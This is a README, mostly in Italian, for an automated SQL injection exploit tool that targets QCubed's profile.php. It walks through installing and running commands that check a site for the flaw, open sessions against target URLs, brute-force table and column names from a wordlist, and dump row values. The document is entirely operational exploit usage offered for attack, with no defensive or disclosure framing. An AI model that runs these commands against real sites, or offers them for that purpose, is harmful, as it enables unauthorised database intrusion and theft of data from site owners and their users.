
iniezione SQL automatizzata per il file profile.php di QCubed
Devi avere Bun installato: https://bun.sh
Per installare le dipendenze:
bun install
Per eseguire:
# show help
bun run exploit -h
# test for vulnerability
bun run exploit vulnerable -u https://site.com/framework/assets/_core/php/profile.php
# create a session for a new target
bun run exploit create -n your_session_name -u https://site.com/framework/assets/_core/php/profile.php
# brute table
bun run exploit brute-table -n your_session_name -w path/to/wordlist.txt
# show founded tables or column of a table
bun run exploit show-table -n your_session_name
bun run exploit show-column -n your_session_name -t table_name
# brute id
bun run exploit brute-id -n your_session_name -t table_name -i 1
# brute row value
# optionally add -r for resuming the brute forcing from where it stopped
bun run exploit brute-column -n your_session_name -t table_name -c column_name -i 1
# show founded key-value pairs of a table
# optionally `-i id_value` for showing only for a particular id
bun run exploit show-rows -n your_session_name -t table_name